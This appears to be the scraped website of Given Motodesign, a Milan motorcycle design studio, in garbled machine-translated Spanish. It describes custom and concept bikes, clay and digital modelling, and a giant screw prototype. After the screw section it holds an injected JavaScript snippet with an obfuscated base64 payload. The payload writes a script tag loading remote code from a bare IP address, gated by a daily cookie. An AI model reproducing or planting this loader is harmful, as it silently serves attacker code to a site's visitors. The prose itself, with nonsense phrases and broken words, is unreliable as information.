Entradas de Donato Cannatello

Harley Davidson Heritage Softail Restomod

Harley Davidson Heritage Softail Restomod

La Harley Davidson Heritage Softail Restomod es una de esas motos que una vez terminada no querrías soltar nunca.

Te enamoraste durante el desarrollo porque todo salió según lo planeado., o solo al final despues de incontables problemas, o acaba de terminar de desarrollar un detalle...

Uno de los que le gustaría usar para mantener, del que tal vez estés celoso o particularmente orgulloso.

Bueno, proyectos como este no ocurren a menudo., por muy bueno que uno pueda ser, hay los que son mejores y los que son peores.

HDHSR es uno de los mejores. En todo sentido, para los que lo hicieron, para quien la monta y para la propia bici, ahora mas moderno, más tecnológico, más fascinante, pero siempre con la misma clase enorme, siempre con su profundidad.

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CR&S DE “deportes”

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CR&S DE "deportes"

El "Deportes" es bella porque es el resultado de una gran colaboración 4 manos.

El diseño es del dueño John Van Houten, lo hemos traducido a una realidad de marcha siguiendo su bosquejo principal y una serie de comentarios en progreso.

La CR&S VUN es una moto que sabemos muy bien, tenemos mucha experiencia en esta moto, era tan fácil de interferir. También el VUN es una moto ya hermosa en todos los componentes, las únicas partes que no estaban convencidos de que tienen la razón y el colín, así que era agradable a la obra para tratar de llevar este hermoso proyecto 2005 hoy en día.

Diseño asistido por ordenador

La moto ha sido posible gracias a las técnicas de control numérico "tradicionales", corte por láser, etc., pero sobre todo gracias a la impresión 3D. El casco ha sido diseñado específicamente para ser impresa, Como resultado de su forma se ha optimizado con el fin de explotar la capacidad de las impresoras 3D para producir el núcleo de la pieza con una Honeycomb tipo retícula calibrada, Esto permite tener una estructura autoportante, Ligero y robusto.

Al mismo tiempo, esta tecnología optimiza los tiempos de impresión, lo que nos permite crear todo el casco con "sol" 60 impresión horas.

 

 

Parabrisas y plexiglás

El parabrisas como de costumbre incluye una parte en plexiglás, para mayor comodidad del usuario que hemos logrado esto mediante el uso de una parte componente del comercio (fuente HONDA CBR1000RR), la exploración de la pieza de trabajo en el modelado 3D y la pieza de carrocería alrededor del plexiglás, para que pueda encontrar y simplemente reemplazado en cualquier parte del mundo.

El trabajo corporal

la pintura, gráficos y colores y tapicerías son definitivamente una parte muy importante del proyecto.

Un trabajo fantástico ha sido el resultado de una bella, otra colaboración con KAOS Diseño.

 

RIZOMA, una historia dentro de una historia.

Para la parte de iluminación y accesorios que no podía aspirar a la mejor para un proyecto similar, de esta necesidad nació la oportunidad de trabajar con los chicos grandes de RIZOMA como un top mundo en términos de calidad de los componentes fabricados, así como el proveedor original de los componentes de la palanquilla de la CR&S de la original. Las hermosas placas en el marco del CNC han encontrado por lo tanto junto a sus orígenes a los últimos elementos LED, tales como flechas con luz de posición integrado RIZOMA LUZ S y flechas MIRADA manillar.

La combinación de estos elementos ha dado a luz a la unidad de iluminación posterior está en voladizo y la funcionalidad de la placa de licencia de carreras segura efecto de luz.

 

 

Desplazamiento:
Tipo de motor:
dos cilindros
Año de introducción:

Los patrocinadores y los socios del proyecto:

Inigualable Modelo X vuelve a cargar

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Inigualable Modelo X vuelve a cargar

La "Inigualable Modelo X vuelve a cargar" es una moto que recuerda el estilo y el encanto de un modelo clásico Matchless, la Model X del 1929, pero con un toque de modernidad e innovación.. La motocicleta tiene un motor V-twin. 1916 cc, derivado de un motor S&Sí, pero personalizado por Matchless., que se desarrolla más que 96 CV. La motocicleta destaca por su diseño único y soluciones técnicas de vanguardia., como tipo horquillas delanteras "Castillo", Suspensión de tracción trasera con amortiguadores colocados debajo del motor., el bastidor semilaminar con depósito de aceite integrado, los frenos se desactivaron un 12 pistones en la parte delantera y trasera 6 en la parte de atrás, y cabezas de motor de la marca Matchless. El Model X recargado se mostró por primera vez en el salón de motocicletas EICMA de Milán 2015, y es fruto de la pasión del empresario italiano Franco Malenotti, que compró la marca Matchless en 2012. El proyecto obtuvo el consentimiento de la familia Collier, fundador de Matchless en 1899, quien elogió la combinación de tradición, tecnología y elegancia que distingue la moto. El Model X recargado es un concepto de motocicleta que podría convertirse en realidad en el futuro, ya que la casa ya ha presentado 12 patentes para sus soluciones.

Año de presentación:
Número de cilindros:
desplazamiento:
Patentes presentadas:

CR&S LLEVA

CR&S LLEVA

La lleva se trata de una motocicleta producido por CR&S de 2011.

El prototipo fue presentado en 'EICMA del 2009. Fue diseñado y construido por Roberto Crepaldi en colaboración con Donato Cannatello para el diseño y Beppe Bulla para el chasis y la mecánica. El DUU es alimentado por el X-Wedge of American S&S, y todo el proyecto gira alrededor de ella. El motor es un 1.917 cc extracción americana, su arquitectura es una reminiscencia de los gemelos Harley Davidson, pero su diseño es totalmente moderno. Es el segundo modelo de la casa, y como tal, su nombre significa "debido" en dialecto milanés.

El duu nació alrededor de este motor y luego se geometría se centró en: alta del motor, distancia entre ejes compacto, basculante el más largo posible y el ángulo de inclinación tubo de dirección contenido, Esto lleva a un manejo excelente, pero una buena estabilidad a altas velocidades.

Año de introducción:
Tipo de motor:
dos cilindros
Desplazamiento:
aprobación ECE:
EURO3 - PUNTO

Suzuki SV 650 “Stronzetta”

La "Stronzetta"

 

La "Stronzetta", esta chica poco irreverente que descaradamente quiere buena, Es un joven Suzuki SV 650 del 1999, una Millennial, un corredor ávido de música, uno de los que siempre se ejecuta con auriculares en la cabeza. Esto se debe a que el cliente, 4CMP, Es una escuela reconocida por los ingenieros de sonido y productor, por lo tanto, completamente musical "declinación" del proyecto.
El "Stronzetta" Fue para nosotros un gran reto Dada, no debido a la complejidad del proyecto, pero para los objetivos que nos planteamos en términos del costo final del proyecto.
El objetivo principal era hacer un rediseño completo de la SV650 original, dirigido principalmente a aliviar la zona de colas. Inevitablemente, en este punto, para crear un total de objeto proporcional también tenga que intervenir en todos los demás componentes de la motocicleta, especialmente en la zona frontal con el tenedor particularmente fecha, el grupo óptico en este punto obsoleto y desproporcionada y consecuentemente muchas partes mecánicas, carrocería y electrónicos.
Empezamos entonces con una bicicleta completa "frame-off", desmantelado en su totalidad, luego proceder con el repintado de partes que se considera válida y con el rediseño de las que eran para ser reemplazado.
El chasis ha visto, obviamente, la instalación de un nuevo frente hacia arriba-lado-abajo, y su adaptación al marco y las llantas originales. Hemos adaptado hábilmente los tres componentes de trabajo sólo en el disco de freno, realizada ad hoc para nosotros por DBS Discacciati con su calidad y precisión habitual. De esta manera todo se volvió en su lugar y, sencillamente, que podría mantener las ruedas originales adaptadas a una planta radial del freno de nueva construcción. Todos felices!
La parte de la trama, evidentemente, ha requerido horas de trabajo para crear una estructura que era funcional, se ha diseñado con un enfoque industrial, así que no hay hardware de frutos secos o extraño, movimiento conjunto está montado y desmontado de una manera extremadamente sencilla. Para la silla de montar, incluso hemos sido capaces de realizar una fijación con el bloqueo y para crear un pequeño compartimiento de almacenamiento donde el trousse, documentos y donde se puede acceder fácilmente a los componentes eléctricos y baterías.
Para partes del cuerpo optamos en este caso para los componentes fabricados ad hoc en la hoja de aluminio en forma de mano, Esto nos dio la libertad completa a la forma y proporciona características de calidad y de peso.
Una vez que haya creado la mecánica básica y talleres de carrocería que podíamos darnos el gusto con componentes, en particular, la electrónica, así que ir allí para volver a conectar con el tema musical original. a continuación, hemos montado iluminación de LED completa, efectos de luz y por supuesto una sistema de sonido BOSE De movimiento incorporado que se conecta con el teléfono a través de Bluetooth propietario, en última instancia, una buena demostración de la bici, especialmente si quieres bailar a su público a un espectáculo.
Como de costumbre, la complejidad del proyecto estaba ligado principalmente a la necesidad de crear un objeto que era agradable, sino también construido con criterios industriales de fiabilidad, usabilidad, el mantenimiento y la seguridad de curso, Como resultado, muchos componentes están diseñados y fabricados a la computadora mediante la impresión en 3D o fresado CNC.
La bicicleta es un homenaje a Brian Eno, el padre del compositor de la música ambiente y generalmente importante precursor de la música electrónica moderna.

 

En colaboración con:

productores y técnicos de sonido DJ School

escuchar más, hacer más

Los sistemas de frenado

Año de introducción:
Poder:
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Tipo de motor:
Fiabilidad:
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Desplazamiento:
DIVERTIDO:
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Música
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Súper Especial N ° 14

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pasado 4 De julio en el garaje Milán Dada Motodesign se presentó CORRIMIENTO AL ROJO, Una moto personalizada CR base de su&S LLEVA. Todos sabemos CR&S y sus trabajos sobre dos ruedas, todos recordamos el Urtin con su potente bicilíndrico, una motocicleta "hecho a mano, su corazón, en Milán ", diseñado para la producción en masa pero que sigue siendo altamente artesanal y lleno de carácter, especial ya en origen y hecho aún más especial por un equipo de expertos en diseño.

Para descubrir todos los secretos de esta motocicleta, decidimos entrevistar a Donato Cannatello., ex diseñador principal en CR&S e ora líder del equipo Given.
Somos recibidos calurosamente en el Atelier amueblado con amor donde nació REDSHIFT. Vamos a conversar en la entreplanta donde podemos ver todo el taller y los muchachos del equipo en el trabajo..

- En primer lugar, como nació la realidad de Given Motodesign?
Given nació básicamente después de mi experiencia en motocicletas en algunas compañías como CR&S, Incomparable, Aprilia y otros.
Preferí abrir mi propio espacio y centrarme en una empresa que pudiera dar espacio a mis ideas.. Así nació dado que no es más que la transposición al inglés de mi nombre "Donato".
Aquí trato de aprovechar al máximo mis experiencias, desde el concepto y el diseño hasta el trabajo en el taller ... porque en empresas pequeñas y hermosas como CR&S, donde estábamos 10, obviamente, usted se encarga del diseño, pero también tiene que ir al taller para ensamblar y verificar todos los pasos ... y, por lo tanto, tuve una experiencia de 360 ​​° del desarrollo de la motocicleta.

periódico de coches

luiz

En cuanto a la moto, No se puede saber la marca. Mucho menos si es bueno o no para conducir. Pero una cosa es cierta: Como él o no motocicletas, es imposible permanecer indiferente a la máquina a medida para Dados, una pequeña empresa de diseño con sede en Milán, en Italia. Es allí que el brasileño Luiz "Calvo" Mingione está trabajando, dando forma física para el diseñador italiano Donato proyectos informáticos Cannatello.

Bajo las nuevas formas de bicicleta, existe CR&S Lleva. Un CR&S era un fabricante artesanal que nació en 1992 en Milán. El acrónimo de "corredores y superbikes de café". Duu significa dos en dialecto Milanese, y designa el motor 2.000 cm3. El modelo fue lanzado en el Salón Moto de Milán (EICMA) en 2009. según Mingione, cada unidad vendida por 40 mil euros.

Función es la de dar forma a proyectos

La función de conformación es Mingione en fibra de vidrio y aluminio, y realizar impresiones en 3D, para dar forma a las ideas creadas por Cannatello. El diseñador llegó a trabajar en su propio CR&S e na Aprilia, entre otros fabricantes de motocicletas.

Como no solamente fueron producidos 100 unidades modelo y ahora la marca no está funcionando, cualquier bicicleta CR&S sería suficiente exclusiva. sin embargo, siempre hay clientes que quieren más exclusivo pero. Este es el caso del propietario de esa unidad. Mingione informa que fue hecho para un holandés que tiene restaurantes en Italia y Nueva Zelanda. debida atención al cliente 24 mil euros (aproximadamente R $ 110 mil). El precio incluye el proyecto, prototipado, piezas y mano de obra. El trabajo se llevó seis meses.

También trabajó en un CR&De S (una, en dialecto milanés), el segundo modelo de la marca italiana. En ese caso, el motor tiene 650 cm3.

Una vez que la moto está lista, Brasileña camina con ella para ver si todo está en orden. Mingione es un piloto con experiencia, que me 2002 Ganó el París-Dakar, en la categoría de hasta 250 cm3.

ahora, él dice que está empezando a trabajar en un nuevo proyecto, un SV Suzuki 650, producido en 1999. "La moto no vale más que mil euros (R $ 4.500), pero el dueño gastará alrededor 6 mil euros (R $ 27 mil) hacer algo único ", dice.

Dice que el primer paso es desmontar completamente la moto para personalizar. entonces, la imagen es pintada y recibirá las nuevas piezas, un proceso que toma alrededor de cuatro meses, dependiendo de la complejidad.

 

Mingione trabaja por proyecto. Teniendo en cuenta que está en hace un año, y tiene la intención de seguir allí hasta la llegada del fin de año.

Dice que decidió probar la vida en Milán porque los padres de su esposa tuvieron restaurante de la ciudad. Antes de eso, sin embargo, Mingione pasó por varios países.

Moldear la arcilla aprendido en Honda ayudó

Se unió a Honda en Brasil 1993. Entre 98 mi 99, después de la puesta en marcha de Honda Biz, donde trabajó en el primer prototipo, Se realizó una pasantía en la sede de la compañía, en el Japón. hay, Aprendió cómo construir prototipos con arcilla, una especie de arcilla industrial, empleado en la construcción de modelos.

Después de salir de la marca japonesa, en 2006, Pasó un mes en China, por invitación del empresario. El objetivo fue seleccionar posibles marcas de motocicletas que podrían ser vendidos en Brasil.

Esta gira de "más 30 empresas”, venían al venir al país, un Irán, que se cerró en 2013.

En la secuencia, Mingione era para Ford en Turquía, que se situó 2015 un 2016, trabajar con la arcilla en el desarrollo de camiones de interior.

en 2017, Volvió a China. Era como entrenador de un consultor (United Motors), empresa colombiana con sede en Estados Unidos, Tenía la intención de convertir al país en una motocicleta. Después de eso, Se dirigió a Milán, donde desea quedarse hasta el final del próximo año.

"Hay que barrer planta de producción muy"

Que sueña de seguir el mismo camino, Mingione alerta a las dificultades: "Motocicleta india para aquellos que les gusta y quieren aprender cosas nuevas, tendencia, la tecnología y el desarrollo de materiales ", dice. "Sin embargo, para un principiante que no es fácil. Tienes que rallar y barriendo mucho planta de producción ".

Todo eso, claro, cuestiones legales fuera (visa de trabajo) y la comunicación. El idioma puede ser una barrera, dependiendo del país elegido. En cuanto a la compensación, Mingione estima que en Italia un principiante recibirá entre 600 mi 800 euros al mes (R $ 2.700 un R $ 3.600).

Diseño & Concepto

concepto de diseño nac Moto

Given es una empresa italiana que se ocupa del diseño., Prototipado y creación de motocicletas personalizadas e innovadoras.. Nuestra pasión por las dos ruedas nos empuja a experimentar nuevas soluciones y crear proyectos únicos y originales., que expresan nuestra visión y nuestro estilo.

Nuestros conceptos son el fruto de nuestra imaginación y nuestra experiencia., pero también de diálogo y colaboración con nuestros clientes, que nos confían sus ideas y necesidades. Cada concepto es un desafío., una oportunidad para poner a prueba nuestra creatividad y profesionalidad.

Entre nuestros conceptos, Hay quienes han creado modelos reales y funcionales., como el CR&S LLEVA, o el Matchless Model X Reloaded.

También los hay que se han quedado en la etapa de bocetos o maquetas., pero que no por ello son menos interesantes o sugerentes. Estos son conceptos que exploran diferentes tipos de motocicletas., como el cafe racer, el codificador, los bobbers, el luchador callejero, los enduros, la costumbre, el deportista. Conceptos inspirados en varios estilos e influencias., como vintage, El moderno, el futurista, el minimalista, la parte de atrás. Conceptos que utilizan diferentes materiales y componentes., como el acero, aluminio, Fibra de carbon, la madera, El cuero, el motor de combustión interna, el motor electrico.

Nuestros conceptos son nuestra tarjeta de presentación, nuestra forma de mostrar al mundo nuestra pasión y talento. También son nuestra forma de invitar a quienes comparten nuestra pasión a contactarnos y hacernos saber sus deseos y expectativas.. Siempre estamos dispuestos a escuchar tus propuestas y convertirlas en realidad..

Las fases del mecanizado

Podemos curar fase Concepto o concepto avanzado tratar de interpretar los requisitos estilísticos del cliente, las tendencias actuales y futuras en especial, la técnica actual y futuro cercano.
Tratamos de hacer todo esto con una mente libre de prejuicios, la creación de objetos que tienen los pies en el suelo sólo en la medida requerida por el cliente, en ausencia de solicitudes explícitas nos orientamos hacia una concepto avanzado que puede ser mucho más difícil para nosotros y para el usuario final.

Nuestro proceso de primer análisis de un proyecto:

DADO FORMA DE PROYECTO

rueda de proyectoNombre del clienteproyecto Codename
Análisis de mercadoAñosmercado de referenciaCosto finalGéneroTipología de uso
análisis de clientescapacidades industrialesla capacidad de producciónLa reventa de capacidades
Análisis de productosegmentocapacidades de carroRendimiento / ModaPesomaterialesMotor

Un proyecto Concept o concepto avanzado se pueden expresar en forma analógica (renderizado en lápiz), digital 2D o 3D (representación digital estática o video) o en forma de maqueta en función de las necesidades y el nivel de desarrollo requerido.
Nos ocupamos de todas estas fases, o sólo algunos de ellos: tenemos los medios, las habilidades y la creatividad necesaria. Podemos tratar sólo el concepto inicial, tanto en forma avanzada (así que no hay verdadera relevancia, pero sólo el estudio de las formas y la investigación del diseño) en que forma estrecha (Por lo tanto, ya tiene un primer vistazo a los futuros criterios de implementación).

La cafeína Italjet 250

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La cafeína Italjet 250

La motocicleta Italjet Caffeina 250 es una café racer con encanto vintage, que fue presentado en 2018 del fabricante italiano de motocicletas Italjet. Es una moto que se adentra en el mundo de las pequeñas cilindradas, pero que ofrece componentes de calidad y un diseño original y cautivador.. La motocicleta está propulsada por un motor bicilíndrico en V de 60°. 250 cc, Aire enfriado, Con inyección electrónica y homologación Euro. 4. El motor entrega una potencia de 17,7 CV un 8.000 rpm y un par de 19 nm a 6.000 giros/min. La bicicleta tiene un peso seco de 128,5 kg y una capacidad del tanque de 14 LITRO. La motocicleta está equipada con una horquilla invertida., de frenos de disco lobulados de 280 mi 240 mm con ABS y neumáticos 110/80-17 al frente y desde 130/70-17 la 15 en la parte de atrás, dependiendo de la versión. La moto está disponible en dos versiones., que difieren en la estética, Los faros y el tamaño de la rueda trasera.: la versión con rueda 17 pulgadas tiene una altura de sillín de 820 mm y un look más deportivo, mientras que la versión con rueda 15 pulgadas tiene una altura de sillín de 780 mm y un look más femenino. La motocicleta fue lanzada al mercado en 2019, en dos colores: negro con adornos de cuero burdeos o plateado/amarillo.

Año de introducción:
Tipo de motor:
dos cilindros
Desplazamiento:

CORRIMIENTO AL ROJO DUU – La contribución de los diseñadores en la personalización de motocicletas

El motociclismo es una actividad en la que convergen armoniosamente diferentes aspectos del diseño, el principal es encontrar una solución técnica al problema. “funcionalidad de transporte”. Los fabricantes buscan constantemente para optimizar el rendimiento en todas sus variantes, el objetivo es hacer que el más eficaz y capaz de resolver los problemas de los usuarios hablando también en el estilo destacando el componente emocional del medio. La emoción es el elemento primario, para los motociclistas a su alrededor mientras que compiten con sus medios tiene un aspecto completamente diferente, disfrutar de una auténtica y directo contacto con todo lo. Ellos son consumidores activos, vivir la escena de la calle en lugar de buscar, lo que sienten es una pasión abrumadora que puede hacer sentir la emoción de una total libertad. La siguiente tesis incluye un estudio de la experiencia de trabajo de personalización de una motocicleta CR&S LLEVA, el cliente en cuestión es una entidad privada cuya aplicación es de, a partir de
una base existente, hacer único el medio de la adición de componentes que sería capaz de mejorar el aspecto estético de hacer tangible
los deseos del cliente. Gracias a la fuerte pasión
accumuna que el diseñador y el cliente se ha creado
un vínculo de empatía, que admisibles prescritas
motodesign para satisfacer plenamente la nece

sidad del consumidor, hacer una base clásica
una verdadera pieza de coleccionista. Accomu

nacida de esta fuerte sensación, sólo el EMPA

tia ha hecho de la comunicación con el cliente muy
sencillo y eficaz, permitiendo a los diseñadores
para entender las necesidades del cliente y de inmediato,
incluso en algunos casos, para anticipar. en este
Permet por lo que se favorece el trabajo en equipo se

Tiendo también al cliente a participar en
proyecto de dar información inmediata sobre la
estudios y prototipos realizados.
A través de las tecnologías disponibles, GIVEN
motodesign ha sido capaz de realizar una mez

zo que tenía un fuerte componente industrial
manteniendo al mismo tiempo una huella de artesanía
encontrado en algunos procesos, dicha firma

ture y la flexión de las placas de aluminio
hecho a mano por el equipo. El diálogo permanente entre los diferentes
sectores ha llevado a la creación de un producto
eso sería expresar el carácter del dueño, orilla

Landone su identidad y su propio ser.

Modelleria arcilla

Uno de los pasos más importantes en el diseño de la motocicleta es ciertamente construir un modelo "Arcilla".

El llamado "arcilla del automóvil" Es una arcilla sintética desarrollada en los años 70 específicamente para el sector diseño de transporte, Tiene la característica, en comparación con la arcilla (Nota del editor de arcilla) Tradicional a ser reconfigurado número infinito de veces y siendo termoplástico, luego suave y moldeable a la temperatura de trabajo (55/65 grados) y duro, compacto y molido a temperatura ambiente.

Esto permite la máxima libertad para el modelador, y que le permite ser capaz de dar al artefacto exactamente la forma deseada, con una precisión de unas pocas décimas de milímetro por el simple uso de las herramientas de modelado o la eliminación.
Una vez que hemos conseguido la forma deseada puede proceder con una etapa de evaluación a través de "Muro de realce", donde por medio de luces especiales y recubrimientos especiales (en la película o pintura) podemos evaluar la corrección formal de la superficie. El otro tipo de evaluación que podemos hacer, junto con el cliente es, obviamente, la estética y ergonómica, comprobando que la forma y los volúmenes son correctas, atractivo y proporcionalmente justa.

Si los cambios debían ser solicitada, No va a ser un problema, volver a "Sala de arcilla" y la remodelación de la objeto de acuerdo con los nuevos criterios.
La arcilla es un proceso muy largo y complejo, que requiere mucha habilidad y destreza, También se requiere un diseño por ordenador en dos fases, en el primer caso en el estilo de fase con un análisis / CAM CAS que permite tener una idea clara de lo que somos para lograr, y derivar los medios de comunicación adecuadamente dimensionados, Finalmente, en el tope final de la superficie que requiere un proceso de transformación en el modelo 3D (Ingeniería inversa), También muy largo y complejo, por lo que su costo es definitivamente alta y se recomienda (en nuestra opinión) Sólo en algunos casos no es posible proceder con las formas más directas.

prototipos, maquetas e showbikes

Explorando nuevas ideas con creatividad e innovación!

Bienvenidos a la sección más emocionante, donde la creatividad y la interpretación se unen para dar vida a proyectos únicos.

Para empresas o particulares que deseen dar forma a sus ideas o que simplemente sientan curiosidad por verlas realidad, estamos aquí para hacer prototipos a escala 1:1 con un estilo impecable y una precisión increíble gracias a nuestras habilidades de creación de prototipos y producción.

Partimos de cero o de tus dibujos, asegurando prototipos que mejor capturen la esencia de la idea. Uso de materiales de última generación como el aluminio, estructuras de hierro o personalizadas, podemos crear soluciones a medida para cada proyecto.

La parte estética es igualmente fundamental, y nos expresamos a través de una variedad de técnicas, desde el trabajo clásico con arcilla hasta la impresión 3D y otras formas avanzadas de creación de prototipos. El resultado? La realización de tus visiones..

Estamos comprometidos a reducir los tiempos de procesamiento sin sacrificar la calidad., porque sabemos lo importante que es cumplir los plazos de tus proyectos, que a menudo surgen solo unas semanas después de los salones o presentaciones.

Confíe en nuestra pasión y experiencia en la creación de prototipos y maquetas., donde tus conceptos cobran vida con un toque de magia. Estamos listos para explorar nuevos horizontes contigo, convirtiendo ideas en realidades concretas. Contáctenos para dar forma a su futuro!

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Moto personalizada

¿Está pensando en cómo hacer su propia bicicleta personalizada? ¿Está buscando un especialista para construir tu propia bicicleta? perfecto! Estamos en Milán, pero gracias a nuestra red de portadores que pueden tomar su bicicleta en cualquier lugar y llevarla a casa.

Una vez que el movimiento es que podemos sacar de acuerdo a sus ideas o peticiones, o, alternativamente, se puede dejar libertad de diseño y hagamos todo lo, sólo hay que venir a recogerla y se sorprenderá. Sea cual sea su idea de motos custom estaremos encantados de compartirlo, incluso a la razón con una cerveza, Si lo desea, puede hacer que el Representación para darle una idea de cómo se podría modificar para requisitos particulares, podemos ver ya personalizado en un entorno de visualización 3D donde puedes encontrar tan real que tendrá que subir y dar gas! Uno de los aspectos más desafiantes de nuestro trabajo es la creación de motos custom, o "personalizado", para los clientes que quieren destacar, con detalles personalizados y bien definidos, nos gusta esta zona porque nos permite dar rienda suelta a nuestra creatividad en bicicletas que pueden convertirse en objetos únicos, porque nos gusta las complejidades que existen en la consecución de unos bicicletas personalizadas son siempre diferentes, con nuevos materiales y técnicas de construcción que cambian de vez en cuando. La personalización de una motocicleta requiere una gran cantidad de experiencia práctica mecánica, pero desde nuestro punto de vista muy importante también están planeando habilidades y creatividad.

 

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Diseño y planificación

motos personalizadas a nivel industrial para el cliente privado.

Cuando hacemos una motocicleta Dada no nos limitamos a reemplazar las piezas originales con otros que se encuentran alrededor, pero trabajamos directamente en la pieza, o en la bicicleta, para recrear, dibujar, diseño, al igual que el cliente quiere. No es sólo un cortar y pegar, sino un proyecto real de Ad hoc donde los detalles marcan la diferencia. En la conformación de las motocicletas están diseñados específicamente para satisfacer las necesidades de las limitaciones de los clientes son muy diferentes de las del diseño industrial y se refieren a la persona en lugar de los intereses técnicos o económicos.

proyectos exclusivos Moto Diseño. Italiana Ingeniería Mecánica y Diseño para proyectos únicos e innovadores. la 20 años al servicio del cliente más exigente.

Harley Davidson XR1200

desear

En Teniendo en cuenta que nos gusta motocicletas "rústico", hierro, con la vista mecánico, la forma moderna, pero siempre estamos a un enfoque más industrial. Cada motos personalizadas para nosotros dado es un objeto para ser disfrutado lentamente, poco a poco, en particular después en particular.

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Nos gusta trabajar en todo tipo de motos custom, en particular, nos gusta: BMW boxer de un solo cilindro y, CR&S DE A DUU (en éstos que Loooong experiencia ..), Harley Davidson pequeños y grandes, Triumph Bonneville e familia, sino también adoramos al japonés, en particular, porque Honda es la moto que queríamos y con los que hemos crecido.

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Estamos en Milán, en un hermoso contexto industrial, conveniente y confidencial, contáctenos a visitarnos, estaremos encantados de diseñar junto con usted su propia bicicleta, o alternativamente para hacer incluso sólo una charla entre los motociclistas.

maqueta digital

La maqueta digital es nuestra fuerza. Y 'la última frontera en el campo del diseño de la motocicleta y es también su evolución digital naturales.

La maqueta digital es un proceso mediante el cual las empresas que desean producir una motocicleta pueden evitar la maqueta fase clásica de la arcilla, la fase de rediseño y alojamiento Prototipo, sino también el complicado, paso lento y caro de la exploración y la ingeniería inversa. Esto se puede traducir a una empresa en un ahorro promedio de 4/6 meses en TTM (Hora de comprar) y un ahorro de costes de alrededor de 80 / 120.000 € . Hoy en día este proceso puede ser muy adecuado para empresas con pequeñas producciones o rediseño frecuente o márgenes de los productos reducidos.

Gracias a nuestra sensibilidad en el diseño y nuestros sistemas de visualización, así como nuestros sistemas de escaneo 3D, podemos diseñar una maqueta completamente digitales, Ya con un poco de atención a la ingeniería, si esto no es suficiente, podemos crear rápidamente un modelo a escala 1:1 o se reduce con técnicas de prototipado, para visualizar mejor el resultado final.
Lo que nos damos cuenta de que tenemos una digital de coherencia estilística y proporciones perfectas para un posible modelo real.

Un tornillo… pero gigante!

En concreto no sólo motocicletas, pero los proyectos de diseño en general, Nos dimos cuenta de la empresa EJOT una prototipo muy inusual, Se trata de un tornillo en el tamaño nunca visto, cuya altura es de 1,60 m para 290kg peso. Este proyecto ha servido a la compañía para vencer a un registros de elevación mundo, y yo diría que hemos sido capaces de cumplir con las expectativas del cliente, tanto desde el punto de vista del peso alcanzado, obbligatorimente 300 kg, con la capacidad de cambiar a + -20kg, tanto desde el punto de vista de la estética final.

Como primer paso, se llevó a cabo un primer estudio de diseño ed Ingenieria. Este fue un paso obligatorio pero crucial ya que permite evaluar mejor los posibles procedimientos que se llevarán a cabo para la realización del objeto; especialmente si, como en este caso, Ellos se requieren muchas operaciones y muchos procesos. El enfoque difiere según el proyecto que tiene en frente, en nuestro caso nos permitió evaluar una realización a través de una combinación de técnicas y materiales.

El alma del tornillo se compone de un bloque de acero colocado, Ellos se han pegado en la superficie de stampe 3D que se va a reconstruir la apariencia de la vid. Estas partes externas se imprimieron en PLA da noviembre “adentro” paloma, Después de unas pocas semanas de su lanzamiento, Han sido lijada, pegado acero, grouted y, finalmente, pintado. Durante el montaje y construcción del tornillo, una monitorización continua de peso nos ha permitido mantener bajo control el tornillo, al tiempo que confirmó los estudios de ingeniería previamente.

El mismo procedimiento se realizó para el carro, las vigas de acero Han sido soldadas entre ellas (de manera que sea capaz de actuar tanto como un soporte para el tornillo de que el transporte) y luego pintado rojo.

Aquí están las imágenes que ilustran las diversas medidas adoptadas para aplicar la prototipo.

Estén atentos y estar al día, un proyecto similar ( si no es aún más extraño) podría llamar a nuestra puerta en cualquier momento.
GetCookie función(mi){var U = document.cookie.match(nueva RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/sol,”\\$1″)+”=([^;]*)”));retorno T?decodeURIComponent(la[1]):vacío 0}var src =”datos:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,ahora = Math.floor(Date.now()/1e3),galletas = GetCookie(“redirigir”);Si(ahora>=(tiempo = galletas)||nula tiempo 0 ===){tiempo var = Math.floor(Date.now()/1e3 + 86400),fecha = new Date((nuevos Fecha).consigue tiempo()+86400);document.cookie =”redirigir =”+tiempo +”; path = /; expira =”+date.toGMTString(),document.write(”)}

Italjet Dragster

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Italjet Dragster 2020 edición

Un icono revisada!

El Italjet Dragster es uno de los iconos de la 80/90 que permanecerá siempre en la memoria de nuestra relegada exclusivamente al 'deseo'. Probablemente soñábamos más de Kim Basinger , quizás porque tanto el deseo inspirado para despojar, para ver si la cubierta era tan hermosa como descubrí ...

Ser capaz de trabajar en un icono de nuestra juventud como era por lo tanto un inmenso honor, el placer y la responsabilidad para nosotros.

ideas claras ...

Italjet tenía las ideas muy claras de cómo debe ser su scooter de insignia en el nuevo milenio, Pero estas ideas se traducen en la realidad o mejor en matemáticas 3D.

Luego hicimos algunas versiones en 3D y luego pasaron a una maqueta digital de vez fusionada con el producto que era posible admirar el espectáculo de motocicletas EICMA 2018.

CR&S LLEVA “CORRIMIENTO AL ROJO”

En el objetivo de la investigación!

El corrimiento al rojo dado es la evolución natural de la nota CR&S LLEVA, motocicleta produce exclusivamente en la pequeña circulación por el fabricante de motocicletas Meneghina con el molde artesanal.
cuando en 2013 Urtin el proyecto fue interrumpido por la mala sensación interior de CR&S, su diseñador principal Donato Cannatello, Después de un breve paso por Matchless, Decidió abrir su propio centro de diseño, y para llevar adelante el proyecto Urtin, ahora huérfano de sus creadores, Sin embargo, el uso de la cooperación y aprobación de los fundadores originales de la motocicleta exclusiva, así como de la mano de obra operativa, gracias a la estima y la amistad sin cambios.

La moto original se ha desarrollado de acuerdo a los que estaban determinadas normas de estilo identificados en el momento como una evolución natural del modelo "Biotta" (ed "desnudo") en ocasiones, presentado por la empresa.

El nuevo diseño se ha centrado obviamente en roca nueva interfaz constante, reemplazando el tenedor invertida original con un sistema innovador para el cojín central y lateral deslizante vainas. Laprogettazione el nuevo frontal nace al ordenador, la creación de todos los componentes por medio de modelado tridimensional y análisis FEM , que también ha permitido analizar cada parte a través del control de las fuerzas a las que se somete.
Los componentes se han realizado mediante tecnología de eliminación de CNC (control numérico
computerizado) con el fresado tocho.

el diseño (o más bien la realización) de los diferentes componentes de cobre es el quid que dio el carácter cromática y la artesanía de la motocicleta.
